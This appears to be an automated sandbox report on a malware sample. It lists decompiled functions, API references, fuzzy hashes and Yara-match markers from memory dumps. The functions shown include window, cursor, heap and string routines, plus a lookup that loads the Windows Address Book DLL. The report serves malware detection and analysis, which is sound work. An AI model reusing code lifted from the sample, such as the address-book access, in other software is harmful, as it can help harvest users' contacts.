Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: MetricsSystem
String ID: (T:$MonitorFromPoint
API String ID: 4116985748-3494551969
Opcode ID: 0343fe095020f68a14a6bd2ef5efa4e96a476070ffa122ce36162cdaf75e7ce3
Instruction ID: aca0fcec8d8dc409df3be4c4059eacae49704431cd571f8556cc7a94884c3d5b
Opcode Fuzzy Hash: 0343fe095020f68a14a6bd2ef5efa4e96a476070ffa122ce36162cdaf75e7ce3
Instruction Fuzzy Hash: 3101D63120A64CFFDB025F56FC45B5DBB59EB4A752F458026FA04CB211C3709C8097A0

Uniqueness

Uniqueness Score: -1.00%

Function 0234D01F, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 38sleepCOMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(P)(), ref: 0234D034
Sleep.KERNEL32(0000000A,?,00000000,023510DC,?,?,?,00000000,?,00000001,?,00000000,?,?,?), ref: 0234D03E
RtlLeaveCriticalSection.NTDLL(P)(), ref: 0234D071

Strings

P)(, xrefs: 0234D02E, 0234D033, 0234D070

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: CriticalSection$EnterLeaveSleep
String ID: P)(
API String ID: 1566154052-3792617651
Opcode ID: 036ad9a700f1756723d5379c05e4effaf74655e0b30d18ec0784389b933d9d56
Instruction ID: c75120029b64ae28fc19df47c8b14a6ba2ccf8bf920cd9dfb3cb86f3491ee070
Opcode Fuzzy Hash: 036ad9a700f1756723d5379c05e4effaf74655e0b30d18ec0784389b933d9d56
Instruction Fuzzy Hash: 48F0AFB1681201ABD3215F58D948B16FBBDFF4170DF2480A9E90983240CB71E825CA90

Uniqueness

Uniqueness Score: -1.00%

Function 02350C46, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00001000,.dll,00000000,00000000,02355235,00000000,00000000,00000000,?,023478FF,02367334,00001000,.dll,00000000,00001000,00000000), ref: 02350C4F
mbstowcs.NTDLL ref: 02350C76
memset.NTDLL ref: 02350C88

Strings

.dll, xrefs: 02350C48

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: lstrlenmbstowcsmemset
String ID: .dll
API String ID: 1748213358-2738580789
Opcode ID: d2863a42d0c5248fe1ad24ee5cb47f7d147fdabb89a440c0876ca62544f126c4
Instruction ID: 2adbe94d18fedd7fc328aa226e1bc81a9d79e9fbd74ecbbfe1302e330cdaa783
Opcode Fuzzy Hash: d2863a42d0c5248fe1ad24ee5cb47f7d147fdabb89a440c0876ca62544f126c4
Instruction Fuzzy Hash: B3F0AE77500715A7C7319AE49C88D9B77EDEBCD750B500D3AF955C3200EB22E9188770

Uniqueness

Uniqueness Score: -1.00%

Function 003D07C8, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E003D07C8(struct HWND__* __eax, intOrPtr __ecx, char __edx, char _a4) {
				intOrPtr _v8;
				char _v12;
				struct tagRECT _v28;
				intOrPtr _t19;
				struct HWND__* _t20;
				intOrPtr* _t23;

				_t20 = __eax;
				_t1 =  &_a4; // 0x3d0a40
				_t23 =  *_t1;
				_v12 = __edx;
				_v8 = __ecx;
				_t4 =  &_v12; // 0x3d0a40
				ClientToScreen(__eax, _t4);
				GetWindowRect(_t20,  &_v28);
				_t6 =  &_v12; // 0x3d0a40
				 *_t23 =  *_t6 - _v28.left;
				_t19 = _v8 - _v28.top;
				 *((intOrPtr*)(_t23 + 4)) = _t19;
				return _t19;
			}

0x003d07d0
0x003d07d2
0x003d07d2
0x003d07d5
0x003d07d8
0x003d07db
0x003d07e0
0x003d07ea
0x003d07ef
0x003d07f5
0x003d07fa
0x003d07fd
0x003d0805

APIs

ClientToScreen.USER32(?,@=), ref: 003D07E0
GetWindowRect.USER32 ref: 003D07EA

Strings

@=, xrefs: 003D07DB, 003D07EF, 003D07DE
@=, xrefs: 003D07D2

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: ClientRectScreenWindow
String ID: @=$@=
API String ID: 3371951266-3691045988
Opcode ID: 2ec2fa4a87ab1f7da9773addc3721da84381e6dc4d28e8ed7b056f2063cbeae6
Instruction ID: 16f5ad0a89c8dd65f75589b0f4530d9a368f0b2079636dfee57c3b3f7bc30e75
Opcode Fuzzy Hash: 2ec2fa4a87ab1f7da9773addc3721da84381e6dc4d28e8ed7b056f2063cbeae6
Instruction Fuzzy Hash: BCF0C7B5D0420DAFCB00DFE8C981CDEFBFCEF08210F104566A955E3705D630AA408BA0

Uniqueness

Uniqueness Score: -1.00%

Function 0038CA78, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E0038CA78() {
				struct HINSTANCE__* _t1;
				struct HINSTANCE__* _t3;

				_t1 = GetModuleHandleA("kernel32.dll");
				_t3 = _t1;
				if(_t3 != 0) {
					_push("GetDiskFreeSpaceExA");
					_push(_t3);
					L00386224();
					 *0x3d9140 = _t1;
				}
				if( *0x3d9140 == 0) {
					 *0x3d9140 = E003885C8;
					return E003885C8;
				}
				return _t1;
			}

0x0038ca7e
0x0038ca83
0x0038ca87
0x0038ca89
0x0038ca8e
0x0038ca8f
0x0038ca94
0x0038ca94
0x0038caa0
0x0038caa7
0x00000000
0x0038caa7
0x0038caad

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,0038D4E1,00000000,0038D4F4), ref: 0038CA7E
70D9FFF6.KERNEL32(00000000,GetDiskFreeSpaceExA,kernel32.dll,?,0038D4E1,00000000,0038D4F4), ref: 0038CA8F

Strings

kernel32.dll, xrefs: 0038CA79
GetDiskFreeSpaceExA, xrefs: 0038CA89

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: HandleModule
String ID: GetDiskFreeSpaceExA$kernel32.dll
API String ID: 4139908857-3712701948
Opcode ID: 61a5cb442ccafee2b17cf3bbae462b3407d6ae17a4bc16b60ba1e6d18ab41c6f
Instruction ID: e7c81b3e257944d4033fcee362823785ecd06b7c369c9f38f0c030d03f7cadb6
Opcode Fuzzy Hash: 61a5cb442ccafee2b17cf3bbae462b3407d6ae17a4bc16b60ba1e6d18ab41c6f
Instruction Fuzzy Hash: 8FD092A566134BABE727FBF5B88A7153698A708304F0429E7E0026A251DBB998448724

Uniqueness

Uniqueness Score: -1.00%

Function 0234CF1D, Relevance: 6.3, APIs: 5, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?), ref: 0234CF79
HeapFree.KERNEL32(00000000,?), ref: 0234CF8A
HeapFree.KERNEL32(00000000,?), ref: 0234CFA2
CloseHandle.KERNEL32(?), ref: 0234CFBC
HeapFree.KERNEL32(00000000,?), ref: 0234CFD1

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: FreeHeap$CloseHandle
String ID:
API String ID: 1910495013-0
Opcode ID: 9b54714416ace90d2a9d1d5abaf6400a7e20acca70fc3e77e6e7ec267dbeb4c5
Instruction ID: ec884a1b1e4140ed976379a9003ce73f1f88bf4d057a1a4b6b89f7ae2d6f2a80
Opcode Fuzzy Hash: 9b54714416ace90d2a9d1d5abaf6400a7e20acca70fc3e77e6e7ec267dbeb4c5
Instruction Fuzzy Hash: C0214971602221BFC6119B65DD8881AFBBEFF49B547545A51F009D3A50CB39FCA1CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 003C65E0, Relevance: 6.2, APIs: 4, Instructions: 204
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E003C65E0(intOrPtr* __eax, signed int __edx) {
				intOrPtr _v16;
				char _v20;
				char _v24;
				char _v28;
				intOrPtr _t49;
				intOrPtr _t50;
				intOrPtr _t53;
				intOrPtr _t54;
				intOrPtr _t55;
				intOrPtr _t56;
				intOrPtr* _t60;
				intOrPtr* _t62;
				struct HICON__* _t65;
				intOrPtr _t67;
				intOrPtr* _t72;
				intOrPtr _t74;
				intOrPtr* _t75;
				intOrPtr _t78;
				intOrPtr _t80;
				intOrPtr _t82;
				intOrPtr _t84;
				intOrPtr _t85;
				struct HWND__* _t88;
				intOrPtr _t89;
				intOrPtr _t91;
				intOrPtr* _t93;
				intOrPtr _t97;
				intOrPtr _t100;
				intOrPtr _t102;
				intOrPtr _t103;
				intOrPtr _t104;
				intOrPtr _t106;
				struct HWND__* _t107;
				intOrPtr _t108;
				intOrPtr _t110;
				intOrPtr _t114;
				intOrPtr _t117;
				char _t118;
				intOrPtr _t119;
				void* _t131;
				intOrPtr _t135;
				intOrPtr _t140;
				intOrPtr* _t155;
				void* _t158;
				void* _t165;
				void* _t166;

				_t155 = __eax;
				if( *0x3dbb94 != 0) {
					L3:
					_t49 =  *0x3dbb74; // 0x0
					_t50 =  *0x3dbb74; // 0x0
					_t117 = E003C64C0(_t155,  *((intOrPtr*)(_t50 + 0x9b)),  &_v28, _t49);
					if( *0x3dbb94 == 0) {
						_t168 =  *0x3dbb98;
						if( *0x3dbb98 != 0) {
							_t106 =  *0x3dbb88; // 0x0
							_t107 = GetDesktopWindow();
							_t108 =  *0x3dbb98; // 0x0
							E003D0934(_t108, _t107, _t168, _t106);
						}
					}
					_t53 =  *0x3dbb74; // 0x0
					if( *((char*)(_t53 + 0x9b)) != 0) {
						__eflags =  *0x3dbb94;
						_t6 =  &_v24;
						 *_t6 =  *0x3dbb94 != 0;
						__eflags =  *_t6;
						 *0x3dbb94 = 2;
					} else {
						 *0x3dbb94 = 1;
						_v24 = 0;
					}
					_t54 =  *0x3dbb78; // 0x0
					if(_t117 ==  *((intOrPtr*)(_t54 + 4))) {
						L12:
						_t55 =  *0x3dbb78; // 0x0
						 *((intOrPtr*)(_t55 + 0xc)) =  *_t155;
						 *((intOrPtr*)(_t55 + 0x10)) =  *((intOrPtr*)(_t155 + 4));
						_t56 =  *0x3dbb78; // 0x0
						if( *((intOrPtr*)(_t56 + 4)) != 0) {
							_t97 =  *0x3dbb78; // 0x0
							E003C8214( *((intOrPtr*)(_t97 + 4)),  &_v20, _t155);
							_t100 =  *0x3dbb78; // 0x0
							 *((intOrPtr*)(_t100 + 0x14)) = _v20;
							 *((intOrPtr*)(_t100 + 0x18)) = _v16;
						}
						_t131 = E003C6510(2);
						_t121 =  *_t155;
						_t60 =  *0x3dbb78; // 0x0
						_t158 =  *((intOrPtr*)( *_t60 + 4))( *((intOrPtr*)(_t155 + 4)));
						if( *0x3dbb98 != 0) {
							if(_t117 == 0 || ( *(_t117 + 0x51) & 0x00000020) != 0) {
								_t82 =  *0x3dbb98; // 0x0
								E003D091C(_t82, _t158);
								_t84 =  *0x3dbb98; // 0x0
								_t177 =  *((char*)(_t84 + 0x6a));
								if( *((char*)(_t84 + 0x6a)) != 0) {
									_t121 =  *((intOrPtr*)(_t155 + 4));
									_t85 =  *0x3dbb98; // 0x0
									E003D0A1C(_t85,  *((intOrPtr*)(_t155 + 4)),  *_t155, __eflags);
								} else {
									_t88 = GetDesktopWindow();
									_t121 =  *_t155;
									_t89 =  *0x3dbb98; // 0x0
									E003D0934(_t89, _t88, _t177,  *((intOrPtr*)(_t155 + 4)));
								}
							} else {
								_t91 =  *0x3dbb98; // 0x0
								E003D0A90(_t91, _t131, __eflags);
								_t93 =  *0x3da208; // 0x3dbb20
								SetCursor(E003B8188( *_t93, _t158));
							}
						}
						_t62 =  *0x3da208; // 0x3dbb20
						_t65 = SetCursor(E003B8188( *_t62, _t158));
						if( *0x3dbb94 != 2) {
							L32:
							return _t65;
						} else {
							_t179 = _t117;
							if(_t117 != 0) {
								_t118 = E003C654C(_t121);
								_t67 =  *0x3dbb78; // 0x0
								 *((intOrPtr*)(_t67 + 0x58)) = _t118;
								__eflags = _t118;
								if(__eflags != 0) {
									E003C8214(_t118,  &_v24, _t155);
									_t65 = E003832F8(_t118, __eflags);
									_t135 =  *0x3dbb78; // 0x0
									 *(_t135 + 0x54) = _t65;
								} else {
									_t78 =  *0x3dbb78; // 0x0
									_t65 = E003832F8( *((intOrPtr*)(_t78 + 4)), __eflags);
									_t140 =  *0x3dbb78; // 0x0
									 *(_t140 + 0x54) = _t65;
								}
							} else {
								_push( *((intOrPtr*)(_t155 + 4)));
								_t80 =  *0x3dbb78; // 0x0
								_t65 = E003832F8( *((intOrPtr*)(_t80 + 0x38)), _t179);
							}
							if( *0x3dbb78 == 0) {
								goto L32;
							} else {
								_t119 =  *0x3dbb78; // 0x0
								_t41 = _t119 + 0x5c; // 0x5c
								_t42 = _t119 + 0x44; // 0x44
								_t65 = E00387C8C(_t42, 0x10, _t41);
								if(_t65 != 0) {
									goto L32;
								}
								if(_v28 != 0) {
									_t75 =  *0x3dbb78; // 0x0
									 *((intOrPtr*)( *_t75 + 0x34))();
								}
								_t72 =  *0x3dbb78; // 0x0
								 *((intOrPtr*)( *_t72 + 0x30))();
								_t74 =  *0x3dbb78; // 0x0
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								return _t74;
							}
						}
					}
					_t65 = E003C6510(1);
					if( *0x3dbb78 == 0) {
						goto L32;
					}
					_t102 =  *0x3dbb78; // 0x0
					 *((intOrPtr*)(_t102 + 4)) = _t117;
					_t103 =  *0x3dbb78; // 0x0
					 *((intOrPtr*)(_t103 + 8)) = _v28;
					_t104 =  *0x3dbb78; // 0x0
					 *((intOrPtr*)(_t104 + 0xc)) =  *_t155;
					 *((intOrPtr*)(_t104 + 0x10)) =  *((intOrPtr*)(_t155 + 4));
					_t65 = E003C6510(0);
					if( *0x3dbb78 == 0) {
						goto L32;
					}
					goto L12;
				}
				_t110 =  *0x3dbb84; // 0x0
				asm("cdq");
				_t165 = (_t110 -  *__eax ^ __edx) - __edx -  *0x3dbb90; // 0x0
				if(_t165 >= 0) {
					goto L3;
				}
				_t114 =  *0x3dbb88; // 0x0
				asm("cdq");
				_t65 = (_t114 -  *((intOrPtr*)(__eax + 4)) ^ __edx) - __edx;
				_t166 = _t65 -  *0x3dbb90; // 0x0
				if(_t166 < 0) {
					goto L32;
				}
				goto L3;
			}

0x003c65e6
0x003c65ef
0x003c661e
0x003c661e
0x003c6624
0x003c663a
0x003c6643
0x003c6645
0x003c664c
0x003c664e
0x003c6654
0x003c6661
0x003c6666
0x003c6666
0x003c664c
0x003c666b
0x003c6677
0x003c6687
0x003c668e
0x003c668e
0x003c668e
0x003c6693
0x003c6679
0x003c6679
0x003c6680
0x003c6680
0x003c669a
0x003c66a2
0x003c66ef
0x003c66ef
0x003c66f6
0x003c66fc
0x003c66ff
0x003c6708
0x003c6710
0x003c6718
0x003c671d
0x003c6726
0x003c672d
0x003c672d
0x003c673b
0x003c673d
0x003c673f
0x003c6749
0x003c6752
0x003c6756
0x003c6760
0x003c6765
0x003c676a
0x003c676f
0x003c6773
0x003c678e
0x003c6793
0x003c6798
0x003c6775
0x003c6779
0x003c6780
0x003c6782
0x003c6787
0x003c6787
0x003c679f
0x003c679f
0x003c67a4
0x003c67ac
0x003c67b9
0x003c67b9
0x003c6756
0x003c67c1
0x003c67ce
0x003c67da
0x003c68ad
0x003c68ad
0x003c67e0
0x003c67e0
0x003c67e2
0x003c6803
0x003c6805
0x003c680a
0x003c680d
0x003c680f
0x003c683d
0x003c684c
0x003c6851
0x003c6857
0x003c6811
0x003c6819
0x003c6825
0x003c682a
0x003c6830
0x003c6830
0x003c67e4
0x003c67e7
0x003c67ea
0x003c67f7
0x003c67f7
0x003c6861
0x00000000
0x003c6863
0x003c6863
0x003c6869
0x003c686c
0x003c6874
0x003c687b
0x00000000
0x00000000
0x003c6882
0x003c6884
0x003c688b
0x003c688b
0x003c688e
0x003c6895
0x003c6898
0x003c68a3
0x003c68a4
0x003c68a5
0x003c68a6
0x00000000
0x003c68a6
0x003c6861
0x003c67da
0x003c66a6
0x003c66b2
0x00000000
0x00000000
0x003c66b8
0x003c66bd
0x003c66c0
0x003c66c8
0x003c66cb
0x003c66d2
0x003c66d8
0x003c66dd
0x003c66e9
0x00000000
0x00000000
0x00000000
0x003c66e9
0x003c65f1
0x003c65f8
0x003c65fd
0x003c6603
0x00000000
0x00000000
0x003c6605
0x003c660d
0x003c6610
0x003c6612
0x003c6618
0x00000000
0x00000000
0x00000000

APIs

GetDesktopWindow.USER32 ref: 003C6654
GetDesktopWindow.USER32 ref: 003C6779
SetCursor.USER32(00000000), ref: 003C67CE

Part of subcall function 003D0A90: 73565F2B.COMCTL32(?,00000000,003C6DDC,00000000,003C6EB2,?,00000000,003C6F24), ref: 003D0AAC
Part of subcall function 003D0A90: ShowCursor.USER32 ref: 003D0AC7

SetCursor.USER32(00000000), ref: 003C67B9

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Cursor$DesktopWindow$73565Show
String ID:
API String ID: 974785889-0
Opcode ID: 902c1da05fa93f853f0c80ad34b285775367304328b6fdf50bc5bac186132202
Instruction ID: eba4049527c77beb759096eb3d752fbae49ad2d360434ffe36d7f4fec7ae03d4
Opcode Fuzzy Hash: 902c1da05fa93f853f0c80ad34b285775367304328b6fdf50bc5bac186132202
Instruction Fuzzy Hash: DB914A74202B41CFDB16DF29E986F15B7E9AB88315F16855BE844CB36AC730EC85CB41

Uniqueness

Uniqueness Score: -1.00%

Function 0234D934, Relevance: 6.2, APIs: 4, Instructions: 192COMMON

Download Yara Rule

APIs

Part of subcall function 0234F304: RegOpenKeyA.ADVAPI32(80000002,Software\Microsoft\WAB\DLLPath,00000001), ref: 0234F31F
Part of subcall function 0234F304: LoadLibraryA.KERNEL32(00000000), ref: 0234F36D
Part of subcall function 0234F304: GetProcAddress.KERNEL32(00000000,WABOpen,?,00000008,?,00000001), ref: 0234F37F
Part of subcall function 0234F304: RegCloseKey.ADVAPI32(00000001,?,00000008,?,00000001), ref: 0234F3D0

GetLastError.KERNEL32(?,?,00000001), ref: 0234DAC2
FreeLibrary.KERNEL32(?,?,00000001), ref: 0234DB2A

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Library$AddressCloseErrorFreeLastLoadOpenProc
String ID:
API String ID: 1730969706-0
Opcode ID: 2fa79dc5539b56d8fe69112318271c90adc6f6d52937057dfb5087a682aaf22d
Instruction ID: a1f862cf7ef490450d1ed8fc9b67417cac578ca3a3711024ec7b55e864dfd0bd
Opcode Fuzzy Hash: 2fa79dc5539b56d8fe69112318271c90adc6f6d52937057dfb5087a682aaf22d
Instruction Fuzzy Hash: 8D71E9B1E0020DEFCF10DFE5C8849AEBBB9FF48318B1485AAE515A7251DB31A945CF60

Uniqueness

Uniqueness Score: -1.00%

Function 00471565, Relevance: 6.2, APIs: 4, Instructions: 152
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E00471565(intOrPtr* __eax) {
				void* _v8;
				WCHAR* _v12;
				void* _v16;
				char _v20;
				void* _v24;
				intOrPtr _v28;
				void* _v32;
				intOrPtr _v40;
				short _v48;
				intOrPtr _v56;
				short _v64;
				intOrPtr* _t54;
				intOrPtr* _t56;
				intOrPtr _t57;
				intOrPtr* _t58;
				intOrPtr* _t60;
				void* _t61;
				intOrPtr* _t63;
				intOrPtr* _t65;
				intOrPtr* _t67;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr* _t74;
				intOrPtr* _t76;
				intOrPtr _t78;
				intOrPtr* _t82;
				intOrPtr* _t86;
				intOrPtr _t102;
				intOrPtr _t108;
				void* _t117;
				void* _t121;
				void* _t122;
				intOrPtr _t129;

				_t122 = _t121 - 0x3c;
				_push( &_v8);
				_push(__eax);
				_t117 =  *((intOrPtr*)( *__eax + 0x48))();
				if(_t117 >= 0) {
					_t54 = _v8;
					_t102 =  *0x47d27c; // 0x374a7d0
					_t5 = _t102 + 0x47e038; // 0x3050f485
					_t117 =  *((intOrPtr*)( *_t54))(_t54, _t5,  &_v32);
					_t56 = _v8;
					_t57 =  *((intOrPtr*)( *_t56 + 8))(_t56);
					if(_t117 >= 0) {
						__imp__#2(0x47c2a8);
						_v28 = _t57;
						if(_t57 == 0) {
							_t117 = 0x8007000e;
						} else {
							_t60 = _v32;
							_t61 =  *((intOrPtr*)( *_t60 + 0xbc))(_t60, _v28,  &_v24);
							_t86 = __imp__#6;
							_t117 = _t61;
							if(_t117 >= 0) {
								_t63 = _v24;
								_t117 =  *((intOrPtr*)( *_t63 + 0x24))(_t63,  &_v20);
								if(_t117 >= 0) {
									_t129 = _v20;
									if(_t129 != 0) {
										_v64 = 3;
										_v48 = 3;
										_v56 = 0;
										_v40 = 0;
										if(_t129 > 0) {
											while(1) {
												_t67 = _v24;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t122 = _t122;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t117 =  *((intOrPtr*)( *_t67 + 0x2c))(_t67,  &_v8);
												if(_t117 < 0) {
													goto L16;
												}
												_t69 = _v8;
												_t108 =  *0x47d27c; // 0x374a7d0
												_t28 = _t108 + 0x47e0bc; // 0x3050f1ff
												_t117 =  *((intOrPtr*)( *_t69))(_t69, _t28,  &_v16);
												if(_t117 >= 0) {
													_t74 = _v16;
													_t117 =  *((intOrPtr*)( *_t74 + 0x34))(_t74,  &_v12);
													if(_t117 >= 0 && _v12 != 0) {
														_t78 =  *0x47d27c; // 0x374a7d0
														_t33 = _t78 + 0x47e078; // 0x76006f
														if(lstrcmpW(_v12, _t33) == 0) {
															_t82 = _v16;
															 *((intOrPtr*)( *_t82 + 0x114))(_t82);
														}
														 *_t86(_v12);
													}
													_t76 = _v16;
													 *((intOrPtr*)( *_t76 + 8))(_t76);
												}
												_t71 = _v8;
												 *((intOrPtr*)( *_t71 + 8))(_t71);
												_v40 = _v40 + 1;
												if(_v40 < _v20) {
													continue;
												}
												goto L16;
											}
										}
									}
								}
								L16:
								_t65 = _v24;
								 *((intOrPtr*)( *_t65 + 8))(_t65);
							}
							 *_t86(_v28);
						}
						_t58 = _v32;
						 *((intOrPtr*)( *_t58 + 8))(_t58);
					}
				}
				return _t117;
			}

0x0047156a
0x00471573
0x00471574
0x00471578
0x0047157e
0x00471584
0x0047158d
0x00471593
0x0047159d
0x0047159f
0x004715a5
0x004715aa
0x004715b5
0x004715bd
0x004715c0
0x004716e3
0x004715c6
0x004715c6
0x004715d3
0x004715d9
0x004715df
0x004715e3
0x004715e9
0x004715f6
0x004715fa
0x00471600
0x00471603
0x00471609
0x0047160f
0x00471615
0x00471618
0x0047161b
0x00471621
0x0047162a
0x00471630
0x00471631
0x00471634
0x00471635
0x00471636
0x0047163e
0x0047163f
0x00471640
0x00471642
0x00471646
0x0047164a
0x00000000
0x00000000
0x00471650
0x00471659
0x0047165f
0x00471669
0x0047166d
0x0047166f
0x0047167c
0x00471680
0x00471688
0x0047168d
0x0047169f
0x004716a1
0x004716a7
0x004716a7
0x004716b0
0x004716b0
0x004716b2
0x004716b8
0x004716b8
0x004716bb
0x004716c1
0x004716c4
0x004716cd
0x00000000
0x00000000
0x00000000
0x004716cd
0x00471621
0x0047161b
0x00471603
0x004716d3
0x004716d3
0x004716d9
0x004716d9
0x004716df
0x004716df
0x004716e8
0x004716ee
0x004716ee
0x004715aa
0x004716f7

APIs

SysAllocString.OLEAUT32(0047C2A8), ref: 004715B5
lstrcmpW.KERNEL32(00000000,0076006F), ref: 00471697
SysFreeString.OLEAUT32(00000000), ref: 004716B0
SysFreeString.OLEAUT32(?), ref: 004716DF

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$Free$Alloclstrcmp
String ID:
API String ID: 1885612795-0
Opcode ID: 821cc0a40699c92d71c2feb21a45868ec7f3e6ece179571f1d67028339249525
Instruction ID: 3dca5d676039b43eee062b389b29a99ebca752250e47bb8b00b80dbf535ed935
Opcode Fuzzy Hash: 821cc0a40699c92d71c2feb21a45868ec7f3e6ece179571f1d67028339249525
Instruction Fuzzy Hash: 84514C71D00519EFCB10DFA8C8888EEB7B9FF88704B148599E919EB320D775AD41CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 023611BC, Relevance: 6.1, APIs: 4, Instructions: 140stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000008,0000EA60,?,?,?,023569EE,00000000,0000EA60,00000000,00000000,00000000,?,0234FAC6,?,?), ref: 023611C8

Part of subcall function 02350F24: RtlAllocateHeap.NTDLL(00000000,?,02354D76), ref: 02350F30

ResetEvent.KERNEL32(?,?,?,?,023569EE,00000000,0000EA60,00000000,00000000,00000000,?,0234FAC6,?,?,00000000,023413F9), ref: 0236123F
GetLastError.KERNEL32(?,?,?,023569EE,00000000,0000EA60,00000000,00000000,00000000,?,0234FAC6,?,?,00000000,023413F9,?), ref: 0236126C

Part of subcall function 02341ADC: HeapFree.KERNEL32(00000000,?,02354DD0), ref: 02341AE8

GetLastError.KERNEL32(?,?,?,023569EE,00000000,0000EA60,00000000,00000000,00000000,?,0234FAC6,?,?,00000000,023413F9,?), ref: 0236132E

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: ErrorHeapLast$AllocateEventFreeResetlstrlen
String ID:
API String ID: 943265810-0
Opcode ID: 8aedafe2dccbce8837ecf2053667755c4daa8fff583b00de93ee8b94aebcb022
Instruction ID: aa54c5148da4fe93df161abec5befa5507ee97cbfb3e438fa36def6a100b356b
Opcode Fuzzy Hash: 8aedafe2dccbce8837ecf2053667755c4daa8fff583b00de93ee8b94aebcb022
Instruction Fuzzy Hash: B641B0B1A40208BFEB209FA5DC8DEBB7BBDEB04744F148929F58AD1694D731D914CA20

Uniqueness

Uniqueness Score: -1.00%

Function 004745A6, Relevance: 6.1, APIs: 4, Instructions: 136
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E004745A6(signed int __eax, void* __eflags, intOrPtr _a4, signed int _a8, signed int _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				void _v92;
				void _v236;
				void* _t55;
				unsigned int _t56;
				signed int _t66;
				signed int _t74;
				void* _t76;
				signed int _t79;
				void* _t81;
				void* _t92;
				void* _t96;
				signed int* _t99;
				signed int _t101;
				signed int _t103;
				void* _t107;

				_t92 = _a12;
				_t101 = __eax;
				_t55 = E00471554(_a16, _t92);
				_t79 = _t55;
				if(_t79 == 0) {
					L18:
					return _t55;
				}
				_t56 =  *(_t92 + _t79 * 4 - 4);
				_t81 = 0;
				_t96 = 0x20;
				if(_t56 == 0) {
					L4:
					_t97 = _t96 - _t81;
					_v12 = _t96 - _t81;
					E00474062(_t79,  &_v236);
					 *((intOrPtr*)(_t107 + _t101 * 4 - 0xe8)) = E00479C13(_t101,  &_v236, _a8, _t96 - _t81);
					E00479C13(_t79,  &_v92, _a12, _t97);
					_v8 =  *((intOrPtr*)(_t107 + _t79 * 4 - 0x5c));
					_t66 = E00474062(_t101, 0x47d1b0);
					_t103 = _t101 - _t79;
					_a8 = _t103;
					if(_t103 < 0) {
						L17:
						E00474062(_a16, _a4);
						E00471AF1(_t79,  &_v236, _a4, _t97);
						memset( &_v236, 0, 0x8c);
						_t55 = memset( &_v92, 0, 0x44);
						goto L18;
					}
					_t99 = _t107 + (_t103 + _t79) * 4 - 0xe8;
					do {
						if(_v8 != 0xffffffff) {
							_push(1);
							_push(0);
							_push(0);
							_push( *_t99);
							L0047B078();
							_t74 = _t66 +  *(_t99 - 4);
							asm("adc edx, esi");
							_push(0);
							_push(_v8 + 1);
							_push(_t92);
							_push(_t74);
							L0047B072();
							if(_t92 > 0 || _t74 > 0xffffffff) {
								_t74 = _t74 | 0xffffffff;
								_v16 = _v16 & 0x00000000;
							}
						} else {
							_t74 =  *_t99;
						}
						_t106 = _t107 + _a8 * 4 - 0xe8;
